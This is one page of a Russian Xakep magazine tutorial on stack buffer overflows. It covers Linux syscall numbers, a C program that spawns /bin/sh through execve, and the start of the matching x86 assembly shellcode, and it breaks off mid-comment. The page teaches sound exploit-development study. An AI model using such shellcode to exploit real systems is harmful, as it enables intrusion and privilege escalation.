Переполнение буфера в стеке. Шествие второе

kas1e

Xakep, номер #051, стр. 051-060-2


.globl _start // делаем _start метку видимой для линковщика (глобальной)

_start: // начало программы

Ассемблирование программ крайне простое:

# as prog.s -o prog.o

После этого линковка и создание исполнимого модуля:

# ld prog.o -o prog

Для того чтобы написать свой шеллкод, необходимо знать, что существуют различные системные вызовы. Это некие услуги ядра, которые предоставляются пользовательскому процессу. Вызовов этих достаточно много (более 200 под linux), и все они определены в /usr/include/asm/unistd.h:

[bof]# head -n 20 /usr/include/asm/unistd.h

#ifndef _ASM_I386_UNISTD_H_

#define _ASM_I386_UNISTD_H_

/*

* This file contains the system call numbers.

*/

#define __NR_exit 1

#define __NR_fork 2

#define __NR_read 3

#define __NR_write 4

#define __NR_open 5

#define __NR_close 6

#define __NR_waitpid 7

#define __NR_creat 8

#define __NR_link 9

#define __NR_unlink 10

#define __NR_execve 11 - вот и execve

#define __NR_chdir 12

#define __NR_time 13

#define __NR_mknod 14

#define __NR_chmod 15

#define __NR_lchown 16

#define __NR_break 17

#define __NR_oldstat 18

#define __NR_lseek 19

#define __NR_getpid 20

#define __NR_mount 21

#define __NR_umount 22

#define __NR_setuid 23

#define __NR_getuid 24

#define __NR_stime 25

#define __NR_ptrace 26

... и так далее ...

[bof]#

Формат работы с системными вызовами на ассемблере достаточно прост. В необходимые регистры заносятся нужные значения, а потом происходит обращение к 80-му прерыванию:

В регистры ebx, ecx, edx - аргументы системного вызова.

В регистр eax - номер системного вызова.

Например, системный вызов exit будет выглядеть так:

.globl _start

_start:

movl $1,%eax # номер системного вызова в eax

int $0x80 # вызов 80-го прерывания

Так как у exit нет аргументов, регистры ebx, ecx и edx не использовались. Теперь попробуем написать вызов execve (запустим /bin/sh). Для этого читаем man 2 execve и видим там, что для execve нужны 3 аргумента: NULL, NULL и имя запускаемой программы (в нашем случае /bin/sh). Для начала напишем такой вызов на С:

[bof]# cat >shellcode.c

#include <stdio.h>

main()

{

char *shell[2]; // символьный буфер.

shell[0] = "/bin/sh"; // имя запускаемой программы.

shell[1] = NULL; // внешние переменные.

execve(shell[0], shell, NULL); // запускаем /bin/sh.

}

[bof]# gcc -static shellcode.c -o shellcode

[bof]# ./shellcode

sh-2.04# exit

exit

[bof]#

Теперь ты при желании можешь просто дизассемблировать функцию execve и посмотреть, как она работает (именно для этого и добавлен ключ -static). В случае отсутствия такого желания, разберем код на ассемблере:

.globl _start

_start:

xorl %eax,%eax # очищаем eax (получаем NULL)

pushl %eax # засунули в стек NULL

pushl $0x68732f2f # в стек символы: hs//

pushl $0x6e69622f # в стек символы: nib/

movl %esp,%ebx # адрес этих символов в ebx регистр

pushl %eax # засунули в стек еще NULL

pushl %ebx # и адрес по которому /bin/sh в стек

# теперь у нас в стеке лежат: NULL, NULL и адрес /bin/sh, а также адрес, по

Назад на стр. 051-060-1  Содержание  Вперед на стр. 051-060-3